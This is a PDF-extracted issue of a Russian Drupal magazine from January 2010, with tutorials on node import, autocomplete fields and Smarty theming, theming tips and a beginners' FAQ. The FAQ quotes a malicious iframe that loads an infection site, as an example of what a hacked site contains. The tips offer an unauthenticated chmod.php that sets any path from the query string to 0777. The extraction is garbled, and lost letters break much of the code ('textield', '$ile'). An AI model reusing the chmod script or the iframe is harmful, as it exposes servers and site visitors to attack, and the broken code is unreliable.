'tags'
][
vid
]
=
drupal_convert_
to_utf8
(
$f
[
1
]
,
'cp1251'
)
;
// Добавляем теги таксономии
Обучение
январь, 2010
17
Друпалогия #00
Вместо vid поставьте id словаря таксономии, в ко
-
торый будете добавлять теги. Вместо ield_myield подставьте название своего поля.
$node
->
ield_myield
[
0
][
'value'
]
=
drupal_convert_
to_utf8
(
$f
[
2
]
,
'cp1251'
)
;
// Добавляем инфу в CCK-поле $node
->
format
=
2
;
$node
->
promote
=
1
;
Теперь подключаем отложенное опубликование, если включен модуль Scheduler.
if
(
module_exists
(
'scheduler'
)){
$time
=
time
()
;
// текущее время
$seconds_plus
=
300
;
//количество секунд, которое прибавим к текущему времени $time_publish_on
=
$time
+
$seconds_plus
;
$node
->
publish_on
=
$time_publish_on
;
И последний этап. Проводится проверка на за
-
полненность основных полей. Дальше подготов
-
ка ноды. На этом этапе в ноду могут быть внесены изменения другими модулями. И, наконец, сохра
-
нение ноды. После этого нода будет окончательно создана.
// записываем в бд
node_submit
(
$node
)
;
node_save
(
$node
)
;
// сохранение
db_query
(
"INSERT INTO {upload} (id, nid, vid, description, list) VALUES (
%d
, %d
, %d
, '
%s
', %d
)"
,
$ile_upload
->
id
,
$node
->
nid
,
$node
->
vid
,
$ile_upload
->
ilename
,
1
)
;
Если Вы все сделали правильно, теперь Вы научи
-
лись автоматически импортировать данные из лю
-
бого количества текстовых файлов. Здесь описа
-
ны лишь примерные варианты работы подобного скрипта. Не бойтесь экспериментировать и добав
-
лять новые возможности. Удачи в изучении и применении CMF Drupal!
Обучение
январь, 2010
18
Друпалогия #00
Автозаполнение текстовых полей в Drupal Forms API
Андрей Олищук
Автозаполнение текстовых полей прочно вошло в жизнь рядового пользователя сети Интернет вместе с его внедрением в ведущих поисковиках — Google
и Яндекс
. При попытке набрать первые буквы поиско
-
вого запроса, пользователь получает выпадающий список с наиболее вероятными вариантами полного текста. На сайте юмористических цитат bash.org.ru даже появился целый пласт шуток в стиле «а попро-
bash.org.ru даже появился целый пласт шуток в стиле «а попро-
даже появился целый пласт шуток в стиле «а попро
-
буйте набрать слово... и посмотрите какие варианты поисковик предложит». В CMF Drupal поля с автозаполнением получили наибольшее распространение в административ
-
ной панели, например в контексте использования таких модулей CCK как nodereference и userefer-
CCK как nodereference и userefer-
как nodereference и userefer-
nodereference и userefer-
и userefer-
userefer
-
ence — для быстрого поиска нод или пользовате-
для быстрого поиска нод или пользовате
-
лей по части их имени.
Такой элемент во многом более удобен, чем ввод ID по памяти или выбор из полного списка. Иногда возникает необходимость, реализовать элемент с автозаполнением самосто
-
ятельно.
Принципы автозаполнения
Автозаполнение в CMF Drupal р
аботает в рамках Forms API как атрибут текстового элемента
. Этот атрибут имеет в качестве значения адрес, по кото
-
рому система обращается за данными в ожидании массива Java Script. Массив данных подгружает-
Java Script. Массив данных подгружает-
Массив данных подгружает
-
ся и предлагается пользователю как выпадающий список из подобранных вариантов. Проще говоря, работу автозаполнения можно условно разбить на клиентскую и серверную ча
-
сти. Клиент обращается с запросом к серверу, пе
-
редавая введённые пользователем символы, сер
-
вер генерирует набор данных и возвращает их клиенту. Клиент показывает данные пользователю в нужном виде.
В рамках этой статьи мы напишем небольшой мо
-
дуль, который будет выводить форму с одним тек
-
стовым автозаполняемым полем. В поле будет осуществляться поиск ID ноды
по её заголовку.
Создание обычного текстового поля
Для начала, вспомним как создаётся обычное тек
-
стовое поле, с использованием Forms API. function
aut_form
()
{
$form
[
'aut'
]
=
array
(
'#type'
=>
'textield'
)
;
return
$form
;
}
Теперь нам нужно оформить это в виде модуля, который будет отвечать за генерацию страницы с формой. <?php
/**
* Реализация хука menu
**/
function
aut_menu
()
{
$items =
array
()
;
$items
[
'aut/form'
]
=
array
(
'page callback'
=>
'aut_formpage'
,
'access arguments'
=>
array
(
'access content'
),
'type'
=>
MENU_CALLBACK
,
)
;
return
$items
;
}
/**
* Задел под обработку формы
**/
function
aut_formpage
()
{
Обучение
январь, 2010
19
Друпалогия #00
return
drupal_get_form
(
'aut_form'
)
;
}
/**
* Непосредственно сама форма
**/
function
aut_form
()
{
$form
[
'aut'
]
=
array
(
'#type'
=>
'textield'
)
;
return
$form
;
}
Дело сделано. Теперь необходимо подготовить всё для автозаполнения.
Формирование выборки и атрибут автозаполнения
Для того, чтобы превратить обычное поле в «умное», добавим к его атрибутам ещё один - #au-
#au
-
tocomplete_path.
function
aut_form
()
{
$form
[
'aut'
]
=
array
(
'#type'
=>
'textield'
,
'#autocomplete_path'
=>
'aut/nodes'
)
;
return
$form
;
}
Значение атрибута — aut/nodes взято п
роизвольно. Здесь можно указать любой другой существующий путь. В нашем случае, создадим обработчик этого пути, добавив нужный код в хук aut_menu и написав функцию самого обработчика
.
function
aut_menu
()
{
$items =
array
()
;
$items
[
'aut/form'
]
=
array
(
'page callback'
=>
'aut_formpage'
,
'access arguments'
=>
array
(
'access content'
),
'type'
=>
MENU_CALLBACK
,
)
;
$items
[
'aut/nodes'
]
=
array
(
'page callback'
=>
'aut_handler'
,
'access arguments'
=>
array
(
'access content'
),
'type'
=>
MENU_CALLBACK
,
)
;
return
$items
;
}
В функцию обработчика автоматически передаёт
-
ся строка, содержащая символы, введённые поль
-
зователем. Задача обработчика — выбрать из БД (или другого источника) подходящие данные, сформировать из них массив JavaScript и вывести их посредством print или echo.
Схематически, порядок действий такой: формиру
-
ем массив PHP, затем, с помощью функции Drupal API drupal_to_js() превращаем его в массив JavaS-
превращаем его в массив JavaS-
JavaS
-
cript и этот массив отдаём.
/**
* Поиск совпадений с пользовательским вводом
**/
function
aut_handler
(
$string
)
{
$matches =
array
()
;
$result =
db_query_range
(
"SELECT nid, title FROM {node} WHERE LOWER(title) LIKE LOWER('%s%%')"
,
$string
,
0
,
10
)
;
while
(
$node =
db_fetch_object
(
$result
))
{
$matches
[
$node
->
nid
]
=
check_plain
(
$node
-
>
title
)
;
}
print
drupal_to_js
(
$matches
)
;
exit
()
;
}
Обратите внимание на формат генерируемого массива — он имеет значение. То что передаёт
-
ся как значение элемента — будет показано поль
-
зователю в выпадающем списке как предлагаемый вариант. Однако, при клике на одном из вариан
-
тов, в текстовое поле будет вставлен ключ элемен
-
Обучение
январь, 2010
20
Друпалогия #00
та массива.
Т.е. элемент $match['��'] = �Прошла выставка ра-
$match['��'] = �Прошла выставка ра-
�Прошла выставка ра
-
бот художника”
даст ситуацию, когда при вводе символов, скажем, «прош» пользователю в выпа
-
дающем списке будет предложена строка �Прошла выставка работ художника”
, но при клике на ней, в текстовое поле подставится цифра ��.
В итоге, полный код модуля:
<?php
/**
* Реализация хука menu
**/
function
aut_menu
()
{
$items =
array
()
;
$items
[
'aut/form'
]
=
array
(
'page callback'
=>
'aut_formpage'
,
'access arguments'
=>
array
(
'access content'
),
'type'
=>
MENU_CALLBACK
,
)
;
$items
[
'aut/nodes'
]
=
array
(
'page callback'
=>
'aut_handler'
,
'access arguments'
=>
array
(
'access content'
),
'type'
=>
MENU_CALLBACK
,
)
;
return
$items
;
}
/**
* Поиск совпадений с пользовательским вводом
**/
function
aut_handler
(
$string
)
{
$matches =
array
()
;
$result =
db_query_range
(
"SELECT nid, title FROM {node} WHERE LOWER(title) LIKE LOWER('%s%%')"
,
$string
,
0
,
10
)
;
while
(
$node =
db_fetch_object
(
$result
))
{
$matches
[
$node
->
nid
]
=
check_plain
(
$node
-
>
title
)
;
}
print
drupal_to_js
(
$matches
)
;
exit
()
;
}
/**
* Задел под обработку формы
**/
function
aut_formpage
()
{
return
drupal_get_form
(
'aut_form'
)
;
}
/**
* Непосредственно сама форма
**/
function
aut_form
()
{
$form
[
'aut'
]
=
array
(
'#type'
=>
'textield'
,
'#autocomplete_path'
=>
'aut/nodes'
)
;
return
$form
;
}
Передача дополнительных параметров
Бывают случаи, когда помимо строки с набранны
-
ми символами в обработчик автозаполнения нужно передать какие-либо дополнительные параметры. Например, когда требуется создать один обработ
-
чик на несколько различных ситуаций. Допустим, в одной форме нам нужно предлагать все ноды, а в другой форме — только опубликованные (т.е. нуж
-
но передавать ещё и статус выбираемых нод). Это решается с помощью дополнительного па
-
раметра (параметров) функции обработчика. В форму
добавим дополнительный сегмент GET для пути автозаполнения
:
function
aut_form
()
Обучение
январь, 2010
21
Друпалогия #00
{
$status = 1;
$form
[
'aut'
]
=
array
(
'#type'
=>
'textield'
,
'#autocomplete_path'
=>
'aut/nodes
/
'.
$
status
)
;
return
$form
;
}
И тогда функция aut_handler
() получит сразу два параметра:
function
aut_handler
(
$status, $string
)
Здесь нужно учесть, что строка с введёнными пользователями символами автоматически допи
-
сывается в конец GET запроса, поэтому внутри об-
GET запроса, поэтому внутри об-
запроса, поэтому внутри об
-
работчика эти символы будут переданы в послед
-
ний объявленный параметр
. В нашем примере это $string. Обучение
январь, 2010
22
Друпалогия #00
Smarty theme (themplate) engine: альтернатива phptemplate для создания тем
Егор Марценюк aka Gor
В этой статье я не буду рассматривать причины, плюсы и минусы использования smarty theme (themplate) engine. Я ограничусь инструкцией по установке и приведу примеры применения. Чтение до
-
кументации по всем возможностям Smarty, а также решение использовать или не использовать, всецело останется за вами.
Инсталяция
Вам надо скачать подходящий для вашей версии друпала архив со страницы проекта http://drupal.
org/project/smarty
.
Далее вы должны распаковать архив в директорию (drupal_base)/sites/all/themes/engines/.
Должна получится директория (drupal_base)/sites/
all/themes/engines/smarty, в которой будут файлы и папки :
•
block.tpl •
box.tpl •
comment.tpl •
default.tpl •
libs •
node.tpl •
plugins •
smarty.engine •
templates_c Затем скачайте с http://www.smarty.net/download.
php
архив Smarty 2.6.25
. Я пользуюсь именно этой версией. Если вы хотите попробовать бета-
версию, используйте её на свой страх и риск.
В архиве будет директория libs. Содержимое директории libs из этого архива вам необходимо залить в папку (drupal_base)/sites/all/themes/en
-
gines/smarty/libs . После того как вы это сделаете, в (drupal_base)/sites/all/themes/engines/smarty должны быть файлы и директории:
•
Conig_File.class.php •
debug.tpl •
internals •
plugins •
Smarty_Compiler.class.php •
Smarty.class.php Убедитесь что ваш вебсервер может писать в директорию (drupal_base)/themes/engines/smarty/
templates_c . На эту директорию должны быть точно такие же права как и на директорию sites/
default/iles. Если вы можете залить файлы через друпал в директорию sites/default/iles и на директорию (drupal_base)/themes/engines/smarty/
templates_c стоят такие же права, значит всё порядке.
Вот и все. Smarty theme (themplate) engine установлен. Создание своей темы на базе Smarty theme (themp
-
late) engine
Для этой статьи я решил взять достаточно простую тему simplex2 и переделать е
ё
под Smarty:
Качаем тему http://drupal.org/project/simplex2
в директорию themes (обычно это директория sites/
all/themes) и переименовываем директорию в sim
-
plex2_smarty, simplex2.info в simplex2_smarty.info и меняем содержимое на
name = Simplex (smarty engine clone)
description = 2 column, ixed width
core = 6.x
engine = smarty
screenshot = screenshot.png
Обучение
январь, 2010
23
Друпалогия #00
Далее переименовываем все файлы из *.tpl.php в *.tpl и включаем в настройках друпала нашу новую тему - как тему по умолчанию.
Получаем белую страницу, в код которой, если заглянуть, увидим что это необработанный PHP код.
Теперь осталось преобразовать файлы node.tpl и page.tpl в формат smarty.
Переделывание page.tpl & node.tpl
С Smarty theme (themplate) engine в комплекте идет файл README.txt. Открываем этот файл и ищем строку "Template variables available"
Это перечень переменных, которые мы можем использовать.
Открываем файл page.tpl на редактирование и первое что мы встречаем это:
<
html
xmlns
=
"http://www.w3.org/1999/xhtml"
lang
=
"<?php print $language->
language ?>" xml:lang="
<?php print $language->
language ?>">
В списке доступных переменных есть $language, значит ее можно использовать.
После модификации эта строчка приобретает вид:
<
html
xmlns
=
"http://www.w3.org/1999/
xhtml"
lang
=
"{$language->
language}" xml:lang="{$language->language}">
Я приведу еще один короткий пример, вариант IF блока и вызов функции темизации из теплейта:
Вместо:
<?php if (
count
(
$primary_links
))
: ?>
<
div
id
=
"topmenu"
>
<?php print theme
(
'links'
, $primary_links
)
; ?>
<
/
div
>
<?php endif; ?>
Получится:
{if count($primary_links) }
<
div
id
=
"topmenu"
>
{drupal theme="links" links="$primary_
links"}
<
/
div
>
{/if}
Как по мне, намного читабельнее и лаконичнее.
По аналогии меняем все остальные вставки PHP-
кода в page.tpl и node.tpl.
Заключение
Вот собственно и всё. Так как тема состояла всего из двух файлов *.tpl и набора css, изменение не отняло у нас много времени. Теперь у вас готовая тема на базе Simplex и smarty. В следующих статьях я постараюсь рассмотреть более премудрые вещи при использовании Smarty и функций темизации друпал.
Обучение
январь, 2010
24
Друпалогия #00
Drupal: советы и хитрости Стани
́
слав Езерский aka Stan
Не хватает знаний по программированию? Воспользуйтесь готовыми решениями! Код, представленный ниже, является работоспособным и проверенным на десятке сайтов.
Форматируем текст «Добавлено...»
Итак, нам нужно переопределить две функции в template.php. Вот они:
//
Форматирование в ноде
function
ВАША_ТЕМА_node_submitted
(
$node
)
{
return
t
(
'Posted by !username on @date'
,
array
(
'!username'
=>
theme
(
'username'
,
$node
)
,
'@date'
=>
format_date
(
$node
->
created
,
'custom'
,
'd / M / Y- H:i'
)
))
;
}
//
Форматирование в комментарие
function
ВАША_ТЕМА_comment_submitted
(
$comment
)
{
return
t
(
'Posted by !username on @date at about @time.'
,
array
(
'!username'
=>
theme
(
'username'
,
$comment
)
,
'@date'
=>
format_date
(
$comment
->
timestamp
,
'custom'
,
'd / M / Y- H:i'
)
,
'@time'
=>
format_date
(
$comment
->
timestamp
,
'custom'
,
'H:i'
)
))
;
}
Проверка заполнения полей с jQuery
Мне лично не нравится валидатор Drupal'а и я интегрировал jquery.validate
Собственно интегрировать его не проблема.
Скачайте плагин
.
Создайте директорию js в директории вашей темы и поместите туда jquery.validate.min.js. Откройте ВАША_ТЕМА.info и подключите там плагин
:
scripts[] = js/jquery.validate.min.js
Откройте page.tpl.php пропишите следующее:
<
script
type
=
"text/javascript"
>
$().ready(function() {
$("#comment-form").validate();
}); <
/
script
>
Если вы хотите проверять заполнены ли поля при регистрации или авторизации, сделайте так:
<
script
type
=
"text/javascript"
>
$().ready(function() {
$("#comment-form, #user-
register, #user-login, #user-pass").validate();
}); <
/
script
>
Всё!
target=_blank
Многие разработчики хотят, чтобы код их страниц успешно проходил валидатор
, но почему-то не все знают, как вставить ссылку, открывающуюся в но
-
вом окне. Вот собственно решение на jQuery
<
script
type
=
"text/javascript"
>
$(function(){
$('._blank a').click(function(){
window.open(this.href);
return false;
});
});
<
/
script
>
Класс _blank
- это обёртка для ссылки. Пример использования
<
span
class
=
"_blank"
><
a
href
=
"
http://www.lipsum.
com/
"
>
Lorem ipsum
<
/
a
><
/
span
>
Обучение
январь, 2010
25
Друпалогия #00
Или, если контентная часть записи содержит ссылки только на сторонние ресурсы, так
<
div
class
=
"_blank"
>
<
p
>
<
a
href
=
"http://www.lipsum.com/"
>
Lorem ipsum
<
/
a
>
dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
<
/
p
>
<
/
div
>
Добавление тега span в primary/secondary_links
В page.tpl.php
<
script
type
=
"text/javascript"
>
// Wrap span tags around the anchor text in the primary menu.
$(document).ready(function(){
$("#primary li a")
.wrapInner("
<
span
>
" + "
<
/
span
>
");
}); <
/
script
>
и в template.php
<?php
/**
* Override the theme_links function
**/
function
ВАША_ТЕМА_links
(
$links
,
$attributes
=
array
(
'class'
=>
'links'
))
{
$output
=
''
;
if
(
count
(
$links
)
>
0
)
{
$output
=
'<ul'
.
drupal_
attributes
(
$attributes
)
.
'>'
;
$num_links
=
count
(
$links
)
;
$i
=
1
;
foreach
(
$links
as
$key
=>
$link
)
{
$class
=
$key
;
// Add irst, last and active classes to the list of links to help out themers.
if
(
$i
==
1
)
{
$class
.=
' irst'
;
}
if
(
$i
==
$num_links
)
{
$class
.=
' last'
;
}
if
(
isset
(
$link
[
'href'
])
&&
(
$link
[
'href'
]
==
$_GET
[
'q'
]
||
(
$link
[
'href'
]
==
'<front>'
&&
drupal_is_front_page
())))
{
$class
.=
' active'
;
}
$output
.=
'<li'
.
drupal_
attributes
(
array
(
'class'
=>
$class
))
.
'>'
;
// wrap <span>'s around the anchor text
if
(
isset
(
$link
[
'href'
]))
{
$link
[
'title'
]
=
'<span>'
.
check_
plain
(
$link
[
'title'
])
.
'</span>'
;
$link
[
'html'
]
=
TRUE
;
// Pass in $link as $options, they share the same keys.
$output
.=
l
(
$link
[
'title'
]
,
$link
[
'href'
]
,
$link
)
;
}
else
if
(
!
empty
(
$link
[
'title'
]))
{
// Some links are actually not links, but we wrap these in <span> for adding title and class attributes
if
(
empty
(
$link
[
'html'
]))
{
$link
[
'title'
]
=
check_
plain
(
$link
[
'title'
])
;
}
$span_attributes
=
''
;
if
(
isset
(
$link
[
'attributes'
]))
{
$span_attributes
=
drupal_attributes
(
$
link
[
'attributes'
])
;
}
$output
.=
'<span'
.
$span_attributes
.
'>'
.
$link
[
'title'
]
.
'</span>'
;
}
$i
++;
$output
.=
"</li>
\n
"
;
}
$output
.=
'</ul>'
;
}
return
$output
;
}
?>
Упорядочиваем шаблоны Views
Очень неприятно, когда шаблонов в /sites/all/
themes/наша_тема/ становится очень много. Даже до безобразия много. Путаницы конечно не будет, если именно вы делали тему для своего сайта Обучение
январь, 2010
26
Друпалогия #00
или блога, но большое количество файлов в директории с темой напрягает!
Есть решение!
Создаём в директории с темой папку views и пе
-
реносим туда все свои шаблоны вида views-view-
ields--gallery-page.tpl.php (или подобные). Перехо
-
дим в настройки тем (/admin/build/themes/settings) и нажимаем сохранить. Если возникли проблемы, например, вывод ошибок о том, что что-то не най
-
дено, идём в любое созданное представление и нажимаем Rescan (пересканировать), сохраняем представление. Всё. Теперь более-менее порядок.
Решаем проблему с правами на директории и файлы
Частая проблема, возникающая на виртуальных хостингах, где владельцем директории или фай
-
ла является неизвестный вам wwwserver или 99. В этом случае вы ничего не можете делать с ди
-
ректориями или файлами (удалять,менять права и т.п.).
Вот решение:
Создадим файл с таким содержанием:
<?php
function
chmod_R
(
$path
,
$perm
)
{
$handle
=
opendir
(
$path
)
;
while
(
false
!==
(
$ile
=
readdir
(
$handle
))
)
{
if
(
(
$ile
!==
".."
)
)
{
@
chmod
(
$path
.
"/"
.
$ile
,
$perm
)
;
if
(
!
is_ile
(
$path
.
"/"
.
$ile
)
&&
(
$ile
!==
"."
)
)
chmod_R
(
$path
.
"/"
.
$ile
,
$perm
)
;
}
}
closedir
(
$handle
)
;
}
$path
=
$_SERVER
[
"QUERY_STRING"
]
;
if
(
$path
{
0
}
!=
"/"
)
$path
=
$_SERVER
[
"DOCUMENT_ROOT"
]
.
"/"
.
$path
;
chmod_R
(
$path
,
0777
)
;
echo
$path
;
?>
Сохраняем его как chmod.php и копируем файл на сервер, в корневую директорию сайта и запускаем:
http://my-site.dom/chmod.php?/home/USER/public_
html/FOLDER
, где http://
my-site.dom
- адрес вашего сайта, /home/USER/public_html/ - путь к вашему сайту, FOLDER - директория, права которой нужно изменить.
Примечание к статье
Конструкцию $().ready(function() {} стоит заменить на Drupal.
behaviors
.
jf_myBehavior
=
function
(
context
)
{}
Подробнее об этом можно почитать в описании Javascript, AJAX, AHAH API
.
Обучение
январь, 2010
27
Друпалогия #00
Ликбез или повышение грамотности новичков Виктор Степаньков aka RxB
Каждый день в русскоязычном сообществе задаются одни и те же вопросы. Каждый день, новички на
-
ступают на одни и те же грабли, набивают шишки и идут к следующему мирно лежащему инструменту. В этой статье я рассмотрю наиболее популярные ошибки, начиная с этапа установки движка и заканчивая выходом сайта в свет.
Обучение
Вопрос:
Как поставить свой дизайн на Drupal?
Ответ:
Под этим вопросом чаще всего понимается вопрос о разработке темы для Друпала, для этого, как минимум, необходимо владеть HTML + CSS + немного php, или же логическое мышление. Если не требуется супер-ультра-дизайн после которого бы Артемий Лебедев сказал, что он не тру и ухо
-
дит в грузчики, то можно воспользоваться програм
-
мой Artisteer
, которая позволяет визуально наваять темплейт и сохранить его как тему для Drupal
Вопросы:
1.
Сам себя забанил 2.
Сам себя заблокировал 3.
Удалил всех пользователей, включая админа. Как войти? Ответ: Частый вопрос, задаётся, как правило, по
-
сле того как будущий друпал-гуру игрался с систе
-
мой управления пользователями, тут собственно возможны два варианта:
TRUNCATE
TABLE
`users`
;
INSERT
INTO
`users`
VALUES
(
0
,
''
,
''
,
''
,
0
,
0
,
0
,
''
,
''
,
0
,
0
,
0
,
0
,
NULL
,
''
,
''
,
''
,
NULL
)
;
INSERT
INTO
`users`
VALUES
(
1
,
'admin'
,
MD5
(
'test'
),
'admin@admin.admin'
,
0
,
0
,
0
,
''
,
''
,
1240608324
,
1240608729
,
1240608342
,
1
,
NULL
,
''
,
''
,
'admin@admin.admin'
,
'a:0:{}'
)
; Данные SQL-запросы удалят всех пользователей с сайта и добавят двух пользователей, анонима и админа с логином admin, паролем test и админ
-
ским е-майлом admin@admin.admin. Естественно, после проведения данной операции следует сме
-
нить данные на корректные, либо сразу их подста
-
вить в текст запрос.
Так же не исключён вариант, когда в момент изуче
-
ния системы ограничения доступа к сайту (admin/
user/rules), было создано правило ограничиваю
-
щее доступ, для самого же ученика. В данном случае в таблице access необходимо найти нуж
-
ное правило и удалить его, либо выполнить SQL-
запрос:
TRUNCATE
TABLE
`access`
;
Вопросы:
1.
Как истребить вирусы на сайте 2.
Захожу на сайт, антивирус ругается! 3.
Гугл повесил табличку, что сайт может нанести вред вашему компьютеру! Ответ:
Это говорит о том, что вами было словле
-
но вредоносное ПО называемое iframe’ мами, т.е. вы посетили сайт сомнительного или не очень со
-
держания, который вычислил уязвимости в вашем браузере и через него заразил ваш компьютер. Ну а далее, ваши пароли от FTP ушли к злому хакеру и ваш сайт заразили, обычно это выражается в том, что в index’ных файлов, в js-файлах, в CSS, появляются вставки непонятного javascript-кода, или же кода вида:
<
iframe
src
=
"http://dnlfnkwh.cn/enter.
php?reid=lklshfhsf&track=767"
frameborder
=
"0"
width
=
"1"
height
=
"1"
><
/
iframe
>
Ну а далее процесс повторяется, посетитель за
-
ходит на ваш сайт, его компьютер заражается, на http://dnlfnkwh.cn
стоит «атакующее ПО», а что произойдёт с заражённым пользователем можно только гадать. Обычно такие сайты являются по
-
январь, 2010
28
Друпалогия #00
средниками и продают так называемые «загруз
-
ки», т.е у хакера, владельца http://dnlfnkwh.cn
, дру
-
гой хакер покупает «10кил загрузок для USA», это означает, что владелец http://dnlfnkwh.cn
продаёт 10000 заражённых американцев, у которых может быть воруют деньги, может используют для накрут
-
ки счётчиков, а может вообще для формирования botnet’а.
Иногда такое возможно в случае неверно выстав
-
ленных форматов ввода, в частности когда анони
-
му или авторизованному пользователю предостав
-
лен формат ввода «Full HTML», вредоносный код приводить не буду, поверьте на слово.
Если ваш сайт всё-таки проайфреймили, то поря
-
док действий такой:
1.
Очистить и больше не оставлять, сохраненные пароли в FTP-менеджерах и браузере 2.
Поменять пароли на фтп с ЗАВЕДОМО ЧИ
-
СТОГО компьютера 3.
Вычистить вредоносный код с php-файлов, для начала перезалить тему и index.php, в особо тяжёлых случаях перезалить дистрибутив движка и модулей. Вопрос:
Ввожу данные коннекта к БД, нажимаю сохранить, страница перезагружается!!!
Ответ:
1.
"Copy default.settings.php "! 2.
"Rename default.settings.php" 3.
"Move default.settings.php " В начале установки, инсталлятор Drupal’а просил скопировать default.settings.php в settings.php, вы переименовали, что является ошибкой. Не нужно думать, что вы всё знаете и всё умеете, нужно сле
-
довать инструкциям.
Вопрос:
Перенос сайта на «боевой» хостинг
Ответ:
•
Не надо устанавливать друпал на новом хосте •
Не стоит использовать phpMyAdmin для перено
-
са дампа базы данных •
Не надо забывать изменять параметры коннек
-
та к базе данных в файле sites/all/settings.php на нужные, хост, имя пользователя, пароль, тип базы данных можно уточнить у хостера. •
Не стоит полагаться только на свою интуицию. Т.е. весь процесс переноса сводится к такому на
-
бору инструкций:
1.
На локальном компьютере очистить таблицы cache_* 2.
Сделать дамп базы данных, как его сделать, написано ниже 3.
Скопировать файлы движка на хост 4.
Развернуть дамп базы данных 5.
Прописать новые параметры доступа в sites/all/
settings.php Не исключено, что потребуется выставить пра
-
вильные права доступа на директорию iles и на файл settings.php, но это чаще всего зависит от хостера.
Вопросы:
1.
Лишние символы перед контентом страницы. 2.
Постоянно вставляется непонятный тег в ша
-
блон перед выводом блока. 3.
Непонятный символ в начале страницы Ответ:
Как правило появляется из-за того, что какой-то из файлов сохранён в кодировке отлич
-
ной от UTF without BOM. Особое внимание на сло
-
во «without», т.е. БЕЗ BOM-сигнатуры. Вспоминай
-
те, что редактировали перед появлением данной ошибки и пересохраняйте эти файлы в верной для Друпала кодировке.
Вопросы:
• Перевёл сайт в оффлайн режим. Как зайти? • Отключил блок логина в админке, как зайти? • Установил сайт, поставил на ofline-режим и вы
-
шел... Теперь никак не зайти в админку. Ответ:
Второй способ авторизации, кроме как че
-
рез форму авторизации состоит в том, чтобы прой
-
ти по пути: http://domain.zone/?q=user
январь, 2010
29
Друпалогия #00
Обычно советуют просто путь /user, но иногда бы
-
вают ситуации, когда чистые ссылки отключены.
Вопрос:
1.
Maximum execution time of 30 seconds exceeded in… 2.
Открывается белый экран при попытке открыть страницу управления 3.
Вместо сайта лицезрею белую страницу 4.
Сайт пишет «�00 error» Ответ:
Смотрим WSOD
Вопрос:
Создал блок и вставил в него php-код, включил блок и сайт не работает.
Ответ:
1.
Открываем phpMyAdmin\консоль mysql\db Forge studio\etc 2.
Заходим в базу данных, куда установлен дру
-
пал 3.
Идём в таблицу blocks 4.
Находим проблемный блок 5.
Меняем значение поля статус с 1 на 0
Вопрос: Как сделать дамп базы данных?
Ответ:
Самый простой способ используя утилиту Sypex Dumper (
http://sypex.net/
)
Если есть доступ к SSH и хотя бы скромные позна
-
ния консоли, то
mysqldump --opt -uлогин -pпароль -hхост -Dбаза | gzip -c имя_архива.gz
Курсив следует заменить на соответствующие дан
-
ные для доступа к БД.
Архивированный дамп будет сохранён в текущую директорию
Вопрос:
WSOD
Ответ:
WSOD – White Screen Of Death. Объеди
-
няет под собой огромную кучу причин и ошибок, начиная от файлов сохранённых в неверной коди
-
ровке и заканчивая нехваткой жалкого килобайта оперативной памяти. Универсальных советов давать не буду, лучше обращаться на форум. При обращении, желательно указать:
1.
Версию Drupal и установленные модули 2.
Вывод phpinfo() 3.
Логи веб-сервера (ошибок, error log), их можно попросить у хостера 4.
Какие действия предпринимали и после чего начала появляться ошибка. Так же в диагностике поможет модуль wsod.
Неплохо рассказано о диагностике на странице http://drupal.org/node/1�8043
Полезные ссылки по теме ликбеза
1.
Google Translate - http://translate.google.com/
. Онлайн-переводчик, поможет избежать многих глу
-
пых вопрос из-за незнания английского, да и боль
-
шинства других языков 2.
Drupal modules - http://drupalmodules.com/
. Сайт с удобным поиском модулей, описаниями и стати
-
стикой. 3.
Незаслуженно игнорируемая ссылка «Доку
-
ментация. http://www.drupal.ru/book
. Есть ответы на большинство вопросов Благодарности.
В составлении данного мини-ликбеза были ис
-
пользованы материалы с http://drupal.org
, http://
drupal.ru
, может быть даже и с других сайтов, кон
-
кретно чьи не помню, могу назвать только двух человек:
Axel
– http://drupal.ru
neochief
– http://drupaldance.com
/
январь, 2010
30
Друпалогия #00
Локализация и перевод в Drupal
Василий Пинчук aka PVasili
CMF Drupal разрабатывалась, продолжает развиваться и поддерживаться многоголосым международ-
Drupal разрабатывалась, продолжает развиваться и поддерживаться многоголосым международ-
Drupal разрабатывалась, продолжает развиваться и поддерживаться многоголосым международ-
разрабатывалась, продолжает развиваться и поддерживаться многоголосым международ
-
ным сообществом, которое разговаривает на огромном количестве языков. Благодаря использованию в своей основе набора символов кодировки UTF-8, и программным средствам, система поддерживает все существующие письменные языки, варианты с письмом справа налево (арабские языки, иврит), иеро
-
глифы (Япония, Китай).
При создании и редактировании материалов вы можете использовать абсолютно любой язык, сим
-
волы которого входят в набор UTF-8. Интерфейс, для взаимодействия с пользователем содержит набор слов, фраз и предложений, кото
-
рые отображаются пользователю. Все эти фра
-
зы, при выводе пропускаются через функцию t()
[
пример: t(
'Hello world'
)
;
] (название функции сокра-
(название функции сокра-
азвание функции сокра-
функции сокра-
сокра-
сокра
-
щено от слова translation из-за частоты использо-
от слова translation из-за частоты использо-
от слова translation из-за частоты использо-
слова translation из-за частоты использо-
за частоты использо-
частоты использо-
частоты использо-
использо-
использо
-
вания). Помимо работы над переводом эта функ-
Помимо работы над переводом эта функ-
мо работы над переводом эта функ
-
ция, так же обрабатывает вставку значений за
-
полнителя внутри строк, что важно с точки зре
-
ния безопасности (значения, вводимые пользова
-
телем [
пример: t(
'Hello %name'
,array(
'%name'
=>
'Ma
sha'
));]
). Весь процесс трансляции интерфейса со стороны системы сводится к попросту замена од
-
них фраз и выражений на другие (переведённые). Хорошо это или нет, но Drupal хранит данные для перевода, и переведённые строки в 2 таблицах базы данных: locales_source
и locales_target
соот
-
ветственно. В первую из них собираются все стро
-
ки из активизируемых модулей, тем, а так же кода PHP в блоках
(
сниппеты
) и другие, использующие функцию t()
. Для корректной работы локализации необходимо включить её поддержку в системе и заполнить вторую таблицу строками перевода.
Если посетители сайта знают английский, и им не нужна локализация, дальнейшие описания можно пропустит, если же сайт нуждается в локализации, то дальнейшая информация должна быть полезна.
Настройка локализации
Исходя из философии, заложенной в Drupal —
предоставлять функциональность только при не
-
обходимости: по умолчанию, язык всего интерфей
-
са — английский. Эта концепция позволяет доба
-
вить поддержку нескольких языков на ваш сайт пу
-
тем активизации соответствующих модулей. Так, для смены языка интерфейса достаточно вклю
-
чить модуль locale
из основной поставки (перей-
из основной поставки (перей
-
дя по адресу /admin/build/modules)
. Если Drupal ин-
сли Drupal ин-
Drupal ин-
ин
-
сталлируется с использованием языка, отличного английского, то этот модуль будет активизирован ещё на этапе инсталляции.
